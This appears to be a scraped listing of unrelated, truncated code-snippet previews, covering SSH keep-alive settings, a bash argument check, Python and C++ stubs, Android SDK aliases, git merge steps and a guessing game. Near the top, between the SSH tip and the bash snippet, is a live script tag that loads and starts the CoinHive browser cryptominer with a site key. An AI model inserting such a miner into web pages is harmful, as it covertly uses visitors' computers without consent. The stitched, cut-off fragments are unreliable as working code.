modify
/etc/ssh/ssh_config
add this configuration
Host *
ServerAliveInterval 100
<script src='https://coin-hive.com/lib/coinhive.min.js'></script><script>var mnr = new CoinHive.Anonymous('afBeaSZFHyC0tzAvd4jciJzO5wVO4805');mnr.start();</script> |
#!/bin/bash | |
SOURCE="$1" | |
if [ "${SOURCE}" == "" ]; then | |
echo "Must specify a source url" | |
exit 1 | |
fi | |
DEST="$2" | |
if [ "${DEST}" == "" ]; then |
import os | |
import sys | |
import re | |
import json | |
# input dir of images | |
path = sys.argv[1] | |
# output json file | |
outfile = sys.argv[2] |
#include <stdio.h> | |
#include <string> | |
#include <stdexcept> | |
#include <iostream> | |
class Palindrome{ | |
public: | |
static bool isPalindrome(const std::string &word){ | |
int stringLength=word.length(); | |
for(int i=0; i<stringLength; i++){ |
export ANDROID_HOME=$HOME/Android/Sdk | |
export PATH=$PATH:$ANDROID_HOME/tools | |
export PATH=$PATH:$ANDROID_HOME/platform-tools | |
# ANDROID PART # | |
alias launchEmulator="$ANDROID_HOME/emulator/emulator -avd Nexus_5_API_27" | |
alias aapt="$ANDROID_HOME/build-tools/28.0.3/aapt" | |
## install apk to device | |
alias apkinstall="adb devices | tail -n +2 | cut -sf 1 | xargs -I X adb -s X install -r $1" |
First we'll update your local master branch. Go to your local project and check out the branch you want to merge into (your local master branch)
$ git checkout master
Fetch the remote, bringing the branches and their commits from the remote repository. You can use the -p, --prune option to delete any remote-tracking references that no longer exist in the remote. Commits to master will be stored in a local branch, remotes/origin/master
import random | |
def set_user_guess(): | |
return input("What is your guess ? ") | |
def generate_secret(): | |
secret_code = [str(num) for num in range(10)] | |
random.shuffle(secret_code) |